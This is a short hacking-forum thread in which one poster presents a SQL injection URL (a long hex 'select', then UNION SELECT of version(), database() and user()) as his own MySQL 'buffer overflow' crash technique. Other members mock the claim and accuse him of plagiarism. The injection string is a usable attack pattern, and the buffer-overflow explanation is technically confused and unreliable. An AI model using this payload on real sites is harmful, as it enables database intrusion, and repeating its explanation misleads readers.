[Crypton]

Hello friendz...
today, i will show my own technique to fuck mysql databases...

today, i will show u how to create buffer overflows when you are injecting a site, with this technique, we can easily deliver buffer overflows to the site...

example:

we will use "+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141 414141
414141414141….)+union+select+1,2,version(),databas e(),user(),6,7,8,9,10--"

http://site.com/aaaa/agd.php?id=-1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141 414141
414141414141….)+union+select+1,2,version(),databas e(),user(),6,7,8,9,10--


------------the vulnerability------------

when sending the "select" parameter with overdose of queries, the mysql database will not respond, since we also added some other queries on the parameter-side, and b00m. the mysql server has crashed!


that is it =))

[The Real Slim Shady]

Oh so you are a member of CWH Underground? pretty 1337! Why did you simply excerpt such a small portion of the file this was released under? The entire article is available at http://packetstormsecurity.com/files/105...ypass.html

I dont get why you yourself added the space in databas e() though. The original doesnt have that "error". Was that to stop script kiddies from being able to run this willy nilly, or was it to stop us from finding out you plagiarised this from someone else. Hmmm.

[LEGITimacy™]

Okay if this is your "own" technique then explain to me exactly what this code is. " 0x414141414141441414141414114141414141414141414141 414141
414141414141 " ? Explain to me what language a Buffer Overflow is written in? And tell me what that specific bit of code does to the stack ? I dont think I will be getting to great of a reply. Dont leech and claim as your own.

[pratham]

Okay if this is your "own" technique then explain to me exactly what this code is. " 0x414141414141441414141414114141414141414141414141 414141
414141414141 " ? Explain to me what language a Buffer Overflow is written in? And tell me what that specific bit of code does to the stack ? I dont think I will be getting to great of a reply. Dont leech and claim as your own.

hahahh.. good ques...

If he don't know
What is buffer?
what is stack?
how to do push and pop operation in stack?
how to overflow stack?
When it overflow?
What is for format string?
How to access memory address using format string?
What is assembly?
Different instructions in assembly?

Then he is nothing... :nono:

He don't know anything about buffer overflow...

[Linuxephus™]

Reading as how the Author hasn't bothered responding to the charge of plagiarism, Author is found guilty by peers of high ranking from within the Community.
Thread closed on that merit.